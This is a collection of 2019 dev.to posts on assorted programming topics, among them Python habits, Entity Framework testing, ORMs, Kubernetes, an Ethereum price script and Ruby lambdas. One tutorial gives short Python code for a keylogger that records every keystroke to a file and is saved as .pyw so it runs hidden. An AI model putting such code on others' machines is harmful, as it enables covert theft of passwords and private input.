teleren/devto huggingface dataset:
How do you use Python in a not "professional developer" way?
Tags: python, help, discuss
Published: 2019-09-14 16:37:12

I love Python. In fact, for a few years it has been my favourite language (Maybe I change my mind after trying Go...).

But one of my favourite features about Python is that you can use it to your little, non-professional developer, day to day tasks.

We know we can use it to create web backends, REST APIs, deployment, etc, but what I liked about Python is that, unlike other languages, it can be used easily by non-programmers to help their tasks.

For example, I have read about secretaries automatizing tasks that take them hours or even days by learning Python on the side, to manipulate files, using basic regex to extract phones from files and/or emails, and stuff like that.

I started creating small projects that manipulate text files, by searching texts inside them, modifying them, renaming files if certain conditions are found, etc and I love it.

so my question is: How do you use Python in your day to day? Especially if you don't work as a professional programmer.
Show your Laptop🔥
Tags: discuss, challenge, beginners, javascript
Published: 2019-09-14 16:31:57

#Challenge
I am curious 😃 to see what **dev stickers** you have pasted on your laptop.❤

[CGPA Converter to Percentage](https://www.rapidtools.co/cgpa-calculator.html)

I am currently using LENOVO IDEAPAD 500S and I have pasted Git, React.js, DevOps, Java, javascript, PHP, docker stickers on my [gaming laptop](https://xtriba.com/gaming-laptops/best-gaming-laptops-under-60000).

**What you have done?** 😃😃
Break the cycle
Tags: beginners, webdev, python
Published: 2019-09-14 16:25:11


Hello all,
I have been in a start/stop loop when it comes to learning both web development and python. My progress has been slow and small but I am looking to change that and recommit to learning and practicing. I found this site through a link on a Discord channel that I follow and I am glad that I did because so far this seems like another great community.
A recipe for deciding between technologies
Tags: javascript, architecture, technologies, techlead
Published: 2019-09-14 16:08:36

I've written in the past why I think choosing between technologies is extremely difficult.

So, here are my 2 cents on how to do that effectively. It's not a bullet-proof method, but I hope it will help guide you on that journey:

- Do some unstructured and unbiased research of pure facts and verify them against different sources. Don’t make any prejudgments and don’t choose sides.
- Look at who’s writing the article and what education they have on the subject. Try to understand if it’s a technical, experienced person, or a content writer. Check out the comments as well.
- Find people that you trust and that face similar challenges, and share your view on development, and consult with them.
- Write down a list of features for each technology.
- Find the features that satisfy your needs in all options, and remove them from the list. For example, if all technologies are performant enough for you — no need to compare their performance.
- Decide on each feature what is a pro and what is a con for you.
- Think about the things that matter the most to you. For each technology, write down at most 3–4 pros/cons that are important for you, and ignore the rest.
- Go over the list and see if there's any technology that you can already cross out based on the pros/cons list.
- For the remaining techs, make a PoC, and determine the barrier of entry and the quality of the documentation.

## Your choice
Remember, these are **YOUR** personal interpretations. Some people will see a framework’s full solution as a pro, some will see it as a con. Some don’t really care about popularity, for others, it’s the most important requirement.

Your choice will affect future developers for potentially years, so making a good research at this stage is worthwhile.

Good luck!
Unit Testing With Entity Framework and Entity Framework Core 2.1
Tags: unittesting, entityframework, dotnet
Published: 2019-09-14 15:47:15

---
title: Unit Testing With Entity Framework and Entity Framework Core 2.1
published: true
description: Unit Testing With Entity Framework and Entity Framework Core 2.1
tags: Unit Testing, Entity Framework, DotNet
---

<link rel="canonical" href="https://www.pmichaels.net/2018/09/16/unit-testing-with-entity-framework-and-entity-framework-core-2-1/" />

Entity Framework Core 2.1 comes with a nifty little feature: an In Memory Database setting.  What this means, is that with a single option setting, your tests can interact directly with the database (or at least EF's impression of the database) but not actually touch any physical database.  In other words, you can write unit tests for data access; an example:

    // Arrange
    DbContextOptions<ApplicationDbContext> options = new DbContextOptionsBuilder<ApplicationDbContext>()
        .UseInMemoryDatabase(Guid.NewGuid().ToString())
        .EnableSensitiveDataLogging()                
        .Options;

    using (var context = new ApplicationDbContext(options))
    {
        context.Database.EnsureDeleted();
    	ResourceCategory resourceCategory = new ResourceCategory()
        {
            Name = "TestCategory"
        }
    };
     
    // Act
    _applicationDbContext.ResourceCategories.Add(resourceCategory);
    _applicationDbContext.SaveChanges();
	
    // Assert                
    Assert.Equal("TestCategory", context.ResourceCategories.First().Name);               

To just quickly explain what this is doing: we have a DbContext called ApplicationDbContext and we're building a set of options on top of that context.  We're then instantiating the context and cleaning the in memory database.  Finally, we're adding a new piece of data to the context and then asserting that it has been added.

Told you it was nifty.

But what about if you're still using Entity Framework 6?

Glad you asked.


Out of the box, EF does not come with this kind of functionality; however, I recently came across (and contributed) to a NuGet library that provides just such a facility.  It provides a wrapper for both <a href="https://www.nuget.org/packages/EntityFrameworkMock.Moq/">Moq</a> and <a href="https://www.nuget.org/packages/EntityFrameworkMock.NSubstitute/">Nsubstitute</a>.  The GitHub Repo is <a href="https://github.com/huysentruitw/entity-framework-mock">here</a>.

This was originally posted <a href="https://www.pmichaels.net/2018/09/16/unit-testing-with-entity-framework-and-entity-framework-core-2-1/">here</a>
Thoughts on GraphQL and REST / JSONiq
Tags: discuss, webdev, graphql, javascript
Published: 2019-09-14 15:33:44

Hi all,

just a quick thought... let's say you provide a generic endpoint and have JSONiq[1] like query capabilities, which is basically XQuery for JSON based NoSQL document stores. Then probably also a Websocket for maybe "subscribing" for changes on the server.

Isn't it much more powerful to have something like SQL but for tree-structured (int this case JSON) data? At least I think it's much more powerful than what GraphQL provides, but it might lack the tooling support.

That said, you can elegantly combine or round up this approach with a more generic REST API. I think you simply need to know how to serialize your objects to JSON as in GraphQL.

Kind regards and have a nice weekend :-)
Johannes

[1] http://jsoniq.org/
Day #6 - Popular Movies App - MVVM
Tags: android
Published: 2019-09-14 15:13:17

---
title: Day #6 - Popular Movies App - MVVM
published: true
description: Popular Movies App - MVVM
tags: android
---

Hi, I've reprogrammed the popular movies listing application with MVVM architecture. Hope to help.

Waiting for your follow-up.

Thank You, Arda.

https://github.com/ardakazanci/PopularMoviesMVVM
NodeJS & PostgreSQL: ORM Overview
Tags: beginners, tutorial, postgres, javascript
Published: 2019-09-14 14:37:01

---
title: NodeJS & PostgreSQL: ORM Overview
published: true
description: NodeJS & PostgreSQL: ORM Overview
tags: beginners, tutorial, postgres, javascript
series: Intro to PostgreSQL (for NodeJS & Express)
---

## Intro

In the last two parts, we learned how to connect a database to a server:

- [without ORM](https://dev.to/miku86/nodejs-postgresql-how-to-connect-our-database-to-our-simple-express-server-without-an-orm-10o0)
- [with ORM](https://dev.to/miku86/nodejs-postgresql-how-to-connect-our-database-to-our-simple-express-server-with-an-orm-gcm)

## ORM (Object-Relational-Mapper)

### What does an ORM do?

In short, an ORM is a layer between the server and the database.
The server talks with the ORM and the ORM talks to the database.
The ORM creates objects, that map to the relational data.
It handles your queries, so you don't have to write native SQL, you can query the database with your application language.


### List of ORMs:

- [sequelize](https://www.npmjs.com/package/sequelize): Postgres, MySQL, MariaDB, SQLite, Microsoft SQL Server
- [TypeORM](https://www.npmjs.com/package/typeorm): Postgres, MySQL, MariaDB, SQLite, Microsoft SQL Server, Oracle, sql.js,  CockroachDB
- [objection](https://www.npmjs.com/package/objection): Postgres, MySQL, MariaDB, SQLite, Microsoft SQL Server, Oracle, Amazon Redshift

[Comparison on npmtrends](https://www.npmtrends.com/objection-vs-sequelize-vs-typeorm)

If you use `MongoDB`, you can use an ODM, e.g. [`mongoose`](https://www.npmjs.com/package/mongoose).


### Pros

- you don't have to learn/know/write SQL, because the ORM handles it
- it will be easier to change your database dialect
- your application is less vulnerable to SQL injections

### Cons

- you have to learn the ORM
- one additional layer of abstraction decreases the speed (theoretically)


## Further Reading

[Wiki: ORM](https://en.wikipedia.org/wiki/Object-relational_mapping)
[sequelize](https://www.npmjs.com/package/sequelize)
[TypeORM](https://www.npmjs.com/package/typeorm) 
[objection](https://www.npmjs.com/package/objection)


## Questions

- Do you use an ORM/ODM (e.g. Mongoose)? Which one? Why?
Ethereum price
Tags: ethereum, blockchain
Published: 2019-09-14 14:28:06

You may have heard about bitcoin, but did you know about Ethereum? No, Ethereum is not just another blockchain based coin.

Ethereum is an open-source, public, blockchain-based distributed computing platform and operating system featuring smart contract functionality.

* **Ether is a token whose blockchain is generated by the Ethereum platform**. 
* Ether can be transferred between accounts and used to compensate participant mining nodes for computations performed.
* Ethereum provides a **decentralized virtual machine**, the **Ethereum Virtual Machine (EVM)**, which can execute scripts using an international network of public nodes

## Price

Much of our lives revolve around assets, currency and money. We are so used to measure everything in price. So what is the price of ether?

Because it's not just another bitcoin copy, this could be something you invest in (this is not financial advice). But how do you know the current ether price?

You can fetch it with Python

    #!/usr/bin/python3
    import requests
    import json
    from forex_python.converter import CurrencyRates
    import os
    
    c = CurrencyRates() 
    rate = c.get_rate('USD', 'EUR') 
    print(rate)
    
    ethereum_api_url = 'https://api.coinmarketcap.com/v1/ticker/ethereum/'
    response = requests.get(ethereum_api_url)
    response_json = response.json()
    print(response_json)
    
    for coin in response.json():
        price = coin.get("price_usd", "U$S Price not provided")
        coin_price = float(("{0:.2f}").format(float(price)))
        print("$ " + str(coin_price))
        coin_price_eur = float(("{0:.2f}").format(float(price)*rate))   
        print("€ " + str(coin_price_eur))

reference: https://gitlab.com/codelivespeed/ethereum-price

That will output the current price in us dollars and euros. Exchange rate is calculated with the module CurrencyRates. 

Read more:
* <a href="https://ethereum.org/">Ethereum block-chain based computing platform and operating system</a>
* <a href="https://github.com/ethereum/wiki/wiki/Ethereum-Virtual-Machine-(EVM)-Awesome-List">EVM, Ethereum Virtual Machine</a>
* <a href="https://pythonbasics.org/">Learn Python</a>
A Kinder, Gentler Report
Tags: testing, reporting, html, excel
Published: 2019-09-14 13:33:13

---
title: A Kinder, Gentler Report
published: true
description: 
tags: testing, reporting, html, excel
---
I could not get the colors to work here.  So, linking to my blog:

- [A Kinder, Gentler Report](https://burdettelamar.wordpress.com/2014/11/23/a-kinder-gentler-report)
Kubernetes, are you ready for production?
Tags: beginners, kubernetes, discuss, devops
Published: 2019-09-14 13:00:35

---
title: Kubernetes, are you ready for production?
published: true
description: Best practices of how to run, plan, architect and deploy Kubernetes in production
tags: beginners, Kubernetes, discuss , devops
cover_image: https://images.unsplash.com/photo-1530549387789-4c1017266635?ixlib=rb-1.2.1&auto=format&fit=crop&w=2250&q=80
---

![](https://media.giphy.com/media/3o7Z4tNIWOQWTlfGN2/giphy.gif)

Last August, during my Kubernetes talk, I promised to share when the DZone Kubernetes trend report I wrote for will be published.
 
And ... it's finally out 🎉 and ready and free!

So, picture this: you can’t stop talking about Kubernetes. After some initial discussions, your company’s stakeholders have finally given you the green light to adopt it. You are driving a technological change in
your organization, which is very different than running a demo or POC(proof of concept). You are accountable for a huge product’s success. How do you proceed? What do you do? We’ve got you covered. 

***

# Table of contents
1. [Download the free 2019 Kubernetes trend report](#download)
2. [What is covered there](#covered)
3. [Footnote](#footnote)

***

### Download the free 2019 Kubernetes trend report <a name="download"></a>
You are welcome to download the free trend report from DZone, using this [link](https://dzone.com/storage/assets/12453878-dzone-trendreport-kubernetesintheenterprise.pdf). 
You will be requested for a name and an email. 
Not comfortable with sharing this information? Ping me on [Twitter](https://twitter.com/AdiPolak) and we'll work it out.

***

### What is covered in the article I wrote there (On Pg. 16) :<a name="covered"></a>

* Create your team of experts
* How to share cluster resource with multiple developers teams
* Securing virtual machines
* Access management
* Monitoring of Kubernetes cluster
* High Availability and Disaster Recovery
* Deployment

***

### Footnote <a name="footnote"></a>



* If you are totally new to Kubernetes, than __before reading the article__, it's highly recommended reading [this](https://dev.to/adipolak/kubernetes-and-virtual-kubelet-in-a-nutshell-gn4) and later on [this](https://docs.microsoft.com/en-us/azure/aks/concepts-clusters-workloads?WT.mc_id=devto-article-adpolak).

* The article I wrote is on page 16 of the track report. It concludes how a Microsoft team boarded Kubernetes to production. This is only one piece out of great articles covering best practices of using Kubernetes in production.

![](https://media.giphy.com/media/l4FGto3zbtWJGgTja/giphy.gif)

***

💡 Are you working with __Kubernetes in Production?__ 
Share your best practices in the comments!

![](https://media.giphy.com/media/3ohhwkfYcpOyeuepqw/giphy.gif)
jsonbox.io - A free HTTP based JSON Storage
Tags: javascript, node, mongodb, json
Published: 2019-09-14 12:44:07

jsonbox.io is a free HTTP based JSON store. It lets you store, read & modify JSON data over HTTP APIs. Ideal of small projects, prototypes or hackathons, where you don't have to spin up your own data store.

Check it out at https://jsonbox.io/

Its fully open-sourced at https://github.com/vasanthv/jsonbox

I would really appreciate if you can review and share your feedbacks with me.
Need help with my JSX formatting!
Tags: react
Published: 2019-09-14 11:19:22

I need help with my JSX formating.

here's a picture of the code before saving it 
https://prnt.sc/p5zs9c

Picture of messy code after saving it 
https://prnt.sc/p5zt25

It gives messy format to the code.

I am using Prettier and my settings.json file includes following:

{
  "window.zoomLevel": 0,
  "php.validate.executablePath": "C:/php/php.exe",
  "liveServer.settings.donotVerifyTags": true,
  "liveServer.settings.donotShowInfoMsg": true,
  "editor.formatOnSave": true,
  "prettier.singleQuote": true,
  "terminal.integrated.shell.windows": "C:\\Program Files\\Git\\bin\\bash.exe",
  "liveSassCompile.settings.formats": [
    {
      "format": "expanded",
      "extensionName": ".css",
      "savePath": "/css"
    }
  ],
  "prettier.jsxBracketSameLine": true
}
Let's build a simple key-logger in python
Tags: python, codenewbie, productivity
Published: 2019-09-14 09:47:45

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/irnq9uhjzhllc0hni4w7.jpeg)

As you guys all know python is a pretty powerful language which can be utilized for any purpose. And so in this article I would like to make you an even big fan of python by building a simple keylogger with just a few lines of code.

So lets get started. First of all in case you are not aware key-logger is a a computer program that records every keystroke made by a computer user, especially in order to gain fraudulent access to passwords and other confidential information. With that being said lets proceed. We will be using a python library known as [pynput](https://github.com/moses-palmer/pynput) which helps us to achieve what is intended. Just install it with the pip package manager i,e `pip install pynput` which does the job for you. Alright done with the installation.

Create a file named `keylogger.pyw` (name it anything as you like but don’t forget about the pyw extension), fire up your favourite text editor and we are ready to write our key-logger.

```python
from pynput.keyboard import Key, Listener
import logging
log_directory = “”
logging.basicConfig(filename = (log_director“log_results.txt”),level = logging.DEBUG, format = ‘%(asctime)s : %(message)s’)
def keypress(Key):
    logging.info(str(Key))
with Listener(on_press = keypress) as listener:
     listener.join()
```

Refer the [GitHub-Gist](https://gist.github.com/jamesgeorge007/cb68fedd8419721f6f4c7a7643181974)

This is the whole code. Now I’ll explain what each line does. The first line is all about importing the required packages in our case `pynput` and logging for the purpose of logging each key when pressed. Then we should provide a logging directory which is set to empty in this case so that it resides in the same directory as the script lies. Next line deals up with the logging configurations in which the code is self explanatory. The `basicConfig()` function takes in three parameters where the filename can be provided. After which we have the key press listener method which does nothing other than logging the respective key that has been pressed. At last we have the listener part for each keystroke.

Hope you have noticed that we saved the source file with a `.pyw` extension other than the normal `.py` extension. The reason is because a key-logger is intended to serve its purpose in the background, `pyw` runs the code without creating a console window. Just run the code, press some keys randomly and notice all those keys being logged on to the file as specified. Interesting isn’t it? We made a key-logger within just 15 lines of code in python. To kill the process fire up task manager and kill the python process. There you go :)
What are your favorite dev tools?
Tags: discuss, programming
Published: 2019-09-14 09:26:21

---
title: What are your favorite dev tools?
published: true
description: 
tags: #discuss, programming
cover_image: https://i.pinimg.com/originals/0f/8b/28/0f8b2870896edcde8f6149fe2733faaf.jpg
---

When coding anything up from a blueprint to a complete product, you may use a number of tools to help you boost your productivity.
Lets discuss

Mine are:

* IDE (Intellij IDEA, Pycharm)
* Code Editors (Vscode)
* Terminal and terminal emutalors (Zsh, tilix)
* OS (Ubuntu budgie)
* API tester (postman)
* Project management application (Trello)
* Version control (git)
* Package managers (npm,yarn, pip, apt)
* CI/CD (Jenkins,circleci)
* Automatic dependency management (renovatebot)
* Online version control (Github and Gitlab)
* Conterization (docker, docker-compose)


Thanks a million for your comments!
Lookbook App: The Future of eCommerce Business and Visual Marketing
Tags: design, ux, startup
Published: 2019-09-14 09:11:40

These days many brands actually depend more on visuals to create impression than any other means. From fashion, garment and accessories to eyewear to personal luggage and baggage, the look of the product depicted through contextual images and videos make a bigger impression than the text content. This is precisely the impetus behind the emergence of concepts like Lookbook.

Lookbook boasting of looks of products along with their users instantly creates an irresistible impression on the visitors of an eCommerce store. The concept has already shown immense potential for business brands of all sorts. For any [eCommerce app development company](https://www.cmarix.com/ecommerce-web-development-services.html), this offers a new vista of promises for visual marketing.

**Here we would like to explain the definition of Lookbook, how it influences eCommerce sales conversion, key features of Lookbook and the way it works.**

**What is Lookbook?**

![Lookbookapp](https://www.cmarix.com/wp-content/uploads/2019/09/Lookbook-app1.gif)

The lookbook is basically a gallery of images, videos and other types of visuals that boasts of the look and feel of a product range. Typically Lookbook images and videos show the products in use while vividly portraying different aspects of the product and the style statement. Lookbook as a concept mainly became popular among fashion and garment brands who always try to impress customers with the look and feel of their products.

**How Apps and Videos Are Influencing Sales?**

[Read More..](https://www.cmarix.com/lookbook-app-the-future-of-ecommerce-business-and-visual-marketing/)
Ruby Lambda when and how ??????
Tags: ruby, coding
Published: 2019-09-14 09:00:43


   Most of us would have seen 'n' number of posts on how to use lambda( I have seen at least 10+ posts), but eventually will end up writing common methods. I have never used block call or yield, as it looks like a complicated feature that my brain never wants to learn it( "why to complicate things ! :D").
   
   Unfortunately, I have to use it in my work, to avoid duplicate issues. Then I told myself, if not now then when?

   Before jumping into the code, we should be aware of what is lambda and its syntax.

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/uxrn1qu58siout6oiv16.png)
  <figcaption>Source: https://www.rubyguides.com/2016/02/ruby-procs-and-lambdas/</figcaption>
*Note: '->' is equivalent to lambda literal*


{% gist https://gist.github.com/ss220993/e0faf97c92f2e3abd54454e8e0893b22 file=without_lambda.rb %}

   Now you have seen that condition alone changes but calculating steps remain the same.

How these repeating steps can be moved to a common method?

We can pass FACTOR and THRESHOLD, but how about operators?

Is there a way that I can pass this condition alone from the calling method and make it simple?

To answer all the above questions, we have our LAMBDA for it.

{% gist https://gist.github.com/ss220993/eaa3f86ee080d2d64991afec0b87ba15 file=lambda.rb %}

  Now repeating steps are moved into a common method called process_score, having score and lambda as arguments.

  We can do this in different ways, but this post is exclusively for how we can make use of lambda.


Thanks for reading! Suggestions are welcome!
*Note: This is post originally posted in my medium account https://medium.com/@subha220993/oh-my-lambda-a1386a0bdad2*